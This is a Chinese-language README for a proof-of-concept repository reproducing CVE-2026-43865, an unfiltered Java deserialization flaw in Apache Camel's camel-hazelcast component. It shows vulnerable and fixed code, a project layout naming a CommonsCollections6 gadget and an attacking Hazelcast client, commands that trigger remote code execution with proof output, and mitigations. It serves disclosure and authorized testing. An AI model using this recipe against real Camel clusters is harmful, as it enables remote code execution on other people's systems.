该项目演示了 Apache Camel 的 camel-hazelcast 组件中的一个 Java 反序列化漏洞,编号为 CVE-2026-43865。当 Camel 自行构建 Hazelcast Config 时——即 未 提供用户指定的 HazelcastInstance、hazelcastConfigUri 或引用的 Config Bean 时——它 不应用任何 Java 反序列化过滤器(既不设置 Hazelcast 的 JavaSerializationFilterConfig,也不设置 Camel 侧的 ObjectInputFilter)。因此,通过 Hazelcast 集群协议到达的对象会在 Hazelcast 的序列化层(ObjectInputStream.readObject)中被反序列化,且无类限制。能够加入或访问该集群的攻击者可以发布一个精心构造的序列化对象,该对象会在每个 Camel 节点上被反序列化——远程代码执行,此为默认存在且无需启用端点配置。
| 属性 | 值 |
|---|---|
| 组件 | camel-hazelcast(任何消费者 + HazelcastAggregationRepository / HazelcastIdempotentRepository) |
| 受影响类 | org.apache.camel.component.hazelcast.HazelcastDefaultComponent(默认配置实例创建) |
| CWE | CWE-502:不可信数据的反序列化 |
| 影响 | 集群中每个 Camel 节点上的远程代码执行 (RCE) |
| 触发条件 | 一个 hazelcast 消费者/仓库,其管理的实例源自 Camel 的 默认 配置 |
| 受影响版本 | 从 4.0.0 至 4.14.8 之前,从 4.15.0 至 4.18.3 之前,从 4.19.0 至 4.21.0 之前 |
| 修复版本 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23414 |
| 报告者 | gaorenyusi |
这与 Hazelcast 库的公告 CVE-2016-10750 / CVE-2022-36418 不同(后者涉及 Hazelcast 自身的代码)。这里的缺陷在于 Camel 未应用 Hazelcast 提供的反序列化保护。
当未提供实例/配置时,HazelcastDefaultComponent 从默认配置构建实例,且 不设置 任何序列化过滤器:
// HazelcastDefaultComponent - 受影响的 4.18.2 版本
if (hazelcastInstance == null && config == null) {
config = new XmlConfigBuilder().build();
config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
hzInstance = Hazelcast.newHazelcastInstance(config); // 无 JavaSerializationFilterConfig
}
修复版本在 Camel 自行创建的实例上插入了默认过滤器(白名单 java./javax./org.apache.camel.,黑名单 java.net.),而用户提供的 Config/HazelcastInstance 保持不变:
// 修复的 4.18.3 / 4.21.0 版本
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config); // <-- 新增
hzInstance = Hazelcast.newHazelcastInstance(config);
任何将反序列化对象传递给 Camel 的结构都会触发该漏洞。此 PoC 使用 队列 消费者(Poll 模式),其中 IQueue.poll() 在 Camel 路由之前反序列化队首元素:
// HazelcastQueueConsumer(Poll 模式)- 受影响
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS); // readObject, 无过滤器
exchange.getIn().setBody(body);
from("hazelcast-queue:cve?queueConsumerMode=Poll") // Camel 构建默认(无过滤)实例
.log("Consumed: ${body.class.name}");
受害者 是 Camel 节点(一个 Hazelcast 成员)。攻击者 是任何能够访问该集群的一方。此自包含的 PoC 运行一个 Hazelcast 客户端(攻击者),它加入同一个单成员集群(dev,位于 127.0.0.1:5701),并向受害者消费的队列提供 gadget。
CVE-2026-43865/
├── pom.xml # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # 运行应用(--add-opens 用于 gadget 构建;回环集群地址)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # 受害者:hazelcast-queue 消费者(默认实例)
│ ├── Gadget.java # CommonsCollections6 gadget,在 Hazelcast 反序列化时触发
│ └── ExploitController.java # 攻击者:Hazelcast 客户端向队列提供 gadget
└── resources/
└── application.properties
在实际攻击中,序列化字节由攻击者自己的 Hazelcast 客户端/成员生成;只有 受害者 的类路径上需要 gadget 链。此 PoC 在进程内构建 gadget,这就是 JVM 以
--add-opens java.base/java.util=ALL-UNNAMED运行的原因——这属于 gadget 构建细节,与漏洞无关。
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> 已向 hazelcast 队列 'cve' 提供 gadget(作为集群客户端)。
# Camel 节点的 queue.poll() 通过 Hazelcast(无过滤器)反序列化了它。
#
# >>> RCE 证明 — /tmp/pwned 存在:true
docker exec cve-2026-43865 ls -la /tmp/pwned
docker compose down
任何使用 hazelcast 消费者(hazelcast-topic、hazelcast-queue、hazelcast-seda、hazelcast-map、hazelcast-multimap、hazelcast-replicatedmap、hazelcast-list、hazelcast-set),或 HazelcastAggregationRepository / HazelcastIdempotentRepository 的 Camel 路由,只要管理的实例是由 Camel 默认配置创建,并且攻击者能够访问该集群。
HazelcastInstance / hazelcastConfigUri / Config Bean)。commons-collections:3.2.1)。升级到 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23414),该版本在 Camel 从其默认配置自行创建的实例上应用了默认的 Hazelcast JavaSerializationFilterConfig。
在升级之前:
JavaSerializationFilterConfig,或 JVM 全局的 -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*)。此复现器仅用于 安全研究和授权测试,针对的是 已公开披露且已修复的 漏洞。请勿在未经明确许可的系统上使用。